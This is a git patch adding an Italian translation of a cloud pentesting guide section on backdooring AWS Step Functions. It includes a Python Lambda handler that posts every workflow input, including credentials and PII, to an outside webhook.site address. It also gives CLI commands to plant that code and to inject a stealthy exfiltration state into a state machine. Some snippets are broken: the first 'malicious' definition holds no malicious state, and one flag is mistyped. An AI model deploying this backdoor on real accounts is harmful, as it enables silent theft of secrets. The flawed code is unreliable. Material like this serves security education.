From d9b3c7dd88efc6d277a3af09958b8628152773f6 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 27 Mar 2025 12:45:11 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws --- .../aws-stepfunctions-post-exploitation.md | 125 +++++++++++++++++- 1 file changed, 122 insertions(+), 3 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 8bc24ef5a..fa63ba79a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -24,7 +24,7 @@ Un attaccante con questi permessi sarebbe in grado di eliminare permanentemente > > - Eliminando una macchina a stati si eliminano anche tutte le sue versioni e alias associati. > - Eliminando un alias di macchina a stati non si eliminano le versioni della macchina a stati che fanno riferimento a questo alias. -> - Non è possibile eliminare una versione di macchina a stati attualmente referenziata da uno o più alias. +> - Non è possibile eliminare una versione della macchina a stati attualmente referenziata da uno o più alias. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -45,7 +45,7 @@ aws stepfunctions update-map-run --map-run-arn [--max-concurrency [!WARNING] > Questa azione non è supportata da **express state machines**. @@ -61,6 +61,125 @@ Un attaccante potrebbe aggiungere, modificare o rimuovere tag dalle risorse di S aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` -**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo degli accessi basate sui tag. +**Impatto Potenziale**: Interruzione dell'allocazione dei costi, tracciamento delle risorse e politiche di controllo degli accessi basate su tag. + +--- + +### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` + +Un attaccante che compromette un utente o un ruolo con i seguenti permessi: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowUpdateStateMachine", +"Effect": "Allow", +"Action": "states:UpdateStateMachine", +"Resource": "*" +}, +{ +"Sid": "AllowUpdateFunctionCode", +"Effect": "Allow", +"Action": "lambda:UpdateFunctionCode", +"Resource": "*" +} +] +} +``` +...può condurre un **attacco post-exploitation ad alto impatto e furtivo** combinando il backdooring di Lambda con la manipolazione della logica di Step Function. + +Questo scenario presuppone che la vittima utilizzi **AWS Step Functions per orchestrare flussi di lavoro che elaborano input sensibili**, come credenziali, token o PII. + +Esempio di invocazione della vittima: +```bash +aws stepfunctions start-execution \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim +``` +Se la Step Function è configurata per invocare un Lambda come `LegitBusinessLogic`, l'attaccante può procedere con **due varianti di attacco furtive**: + +--- + +#### Aggiornato la funzione lambda + +L'attaccante modifica il codice della funzione Lambda già utilizzata dalla Step Function (`LegitBusinessLogic`) per esfiltrare silenziosamente i dati di input. +```python +# send_to_attacker.py +import requests + +def lambda_handler(event, context): +requests.post("https://webhook.site//exfil", json=event) +return {"status": "exfiltrated"} +``` + +```bash +zip function.zip send_to_attacker.py + +aws lambda update-function-code \ +--function-name LegitBusinessLogic \ +--zip-file fileb://function.zip -profile attacker +``` +--- + +#### Aggiungi uno Stato Maligno alla Funzione di Passaggio + +In alternativa, l'attaccante può iniettare uno **stato di esfiltrazione** all'inizio del flusso di lavoro aggiornando la definizione della Funzione di Passaggio. +```malicious_state_definition.json +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "OriginalState", +"States": { +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", +"End": true +} +} +} + +``` + +```bash +aws stepfunctions update-state-machine \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--definition file://malicious_state_definition.json --profile attacker +``` +L'attaccante può anche essere più furtivo aggiornando la definizione dello stato a qualcosa del genere +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "ExfiltrateSecrets", +"States": { +"ExfiltrateSecrets": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", +"InputPath": "$", +"ResultPath": "$.exfil", +"Next": "OriginalState" +}, +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", +"End": true +} +} +} +dove la vittima non si accorgerà della differenza + +--- + +### Configurazione della Vittima (Contesto per l'Exploit) + +- Una Step Function (`LegitStateMachine`) viene utilizzata per elaborare input sensibili degli utenti. +- Chiama una o più funzioni Lambda come `LegitBusinessLogic`. + +--- + +**Impatto Potenziale**: +- Esfiltrazione silenziosa di dati sensibili, inclusi segreti, credenziali, chiavi API e PII. +- Nessun errore o fallimento visibile nell'esecuzione del workflow. +- Difficile da rilevare senza auditare il codice Lambda o le tracce di esecuzione. +- Abilita una persistenza a lungo termine se il backdoor rimane nel codice o nella logica ASL. + {{#include ../../../banners/hacktricks-training.md}}